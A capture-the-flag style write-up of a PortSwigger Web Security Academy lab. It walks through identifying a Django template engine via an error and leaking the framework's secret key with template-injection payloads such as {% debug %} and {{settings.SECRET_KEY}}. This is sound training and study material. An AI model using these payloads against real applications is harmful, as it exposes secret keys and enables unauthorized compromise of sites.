| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Server-Side Template Injection (Django, Information Disclosure) |
| Difficulty | Practitioner |
| Objective | Steal and submit the framework's secret key |
Server-Side Template Injection with Information Disclosure via User-Supplied Objects¶
Log in as content-manager:C0nt3ntM4n4g3r. Going to a post, the templates can be modified.
Trying to force an error with an obviously bogus variable:
<p>Hurry! Only {{teto}} left of {{product.name}} at {{product.price}}.</p>
No error — undefined variables apparently just render as empty. Trying an empty tag instead:
<p>Hurry! Only {{}} left of {{product.name}} at {{product.price}}.</p>
This throws an error:
Internal Server Error
Traceback (most recent call last): File "<string>", line 11, in <module> File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 191, in __init__ self.nodelist = self.compile_nodelist() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 230, in compile_nodelist return parser.parse() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 482, in parse raise self.error(token, 'Empty variable tag on line %d' % token.lineno) django.template.exceptions.TemplateSyntaxError: Empty variable tag on line 19
Django — the empty tag is what actually revealed the engine, since undefined variables render silently. Checking PayloadsAllTheThings for Django:
Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.
Django - Basic Injection
{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }} # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r
Django - Debug Information Leak
{% debug %}
Django - Leaking App's Secret Key
{{ messages.storages.0.signer.key }}
Trying {% debug %}:
Works — confirms we can pull debug info out through the template.
Trying the PayloadsAllTheThings secret key payload:
<p>Hurry! Only {{ messages.storages.0.signer.key }} left of {{product.name}} at {{product.price}}.</p>
This doesn't work — the payload targets Django versions before 1.11, and the internal message storage structure changed in more recent versions. When a "known" payload doesn't work, it's worth checking if it's version-gated before assuming the technique doesn't apply at all.
Checking other resources, this article shows a different path:
Trying:
{{settings.SECRET_KEY}}
This works — accessing the settings object directly through the template context, a more direct and version-independent path than the message storage signer.
We sumbit the leaked key and this solves the lab